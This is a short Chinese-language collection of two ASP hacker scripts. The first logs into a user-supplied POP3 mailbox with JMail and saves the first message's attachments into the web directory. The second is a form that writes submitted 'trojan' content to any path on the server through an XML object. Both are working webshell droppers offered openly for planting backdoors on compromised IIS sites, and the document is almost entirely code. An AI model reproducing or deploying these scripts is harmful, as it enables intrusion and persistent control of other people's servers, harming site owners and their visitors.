用Jmail写文件进硬盘

<%
    'codz by kEvin1986 [S4T]
    User=Request.Form("User")
    Pass=Request.Form("Pass")
    Popserver=Request.Form("Popserver")

    if User<>"" and Pass<>"" and Popserver<>"" then
        Set objmail = CreateObject( "JMail.POP3" )
        objmail.Connect User, Pass, Popserver

        set objmsg=CreateObject("jmail.message")
        Set objmsg = objmail.Messages.item(1)
        separator = ", "
        response.write "Attachment Name is: " & SaveAtta & "<br>"
        objmail.Disconnect
    End if

    Function SaveAtta()
        Set Attachments = objmsg.Attachments
        separator = ", "
        response.write "The size of this Attachment is: " & objmsg.size & "<br>"
        For i = 0 To Attachments.Count - 1
        If i = Attachments.Count - 1 Then
              separator = ""
        End If

        Set Theatta = Attachments(i)
        response.write Theatta.Name
        Theatta.SaveToFile(Server.Mappath(".") & "\" & Theatta.Name)
        Response.write "Oh!Hey Guy.....That's OK!"
        Next
    End Function

利用xml写马

<%on error resume next%>
<form id="form1" name="form1" method="post" action=''''>
<p>木马内容</p>
<p><textarea name="flashboy" cols="80" rows="10"></textarea></p>
<p>路径</p>
<p><input name="textfield" type="text" size="50" /></p>
<p><input type="submit" name="Submit" value="提交" /></p></form>
<p><%Response.write "本文件绝对路径"%>
  <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></p>
<%
dim xmlString
dim xmlDoc
xmlString= Request("flashboy")
set xmlDoc = server.createObject("Msxml2.DOMDocument")
xmlDoc.loadXml(xmlString)
f=Request("textfield")
xmlDoc.save(f)
set xmlDoc=nothing
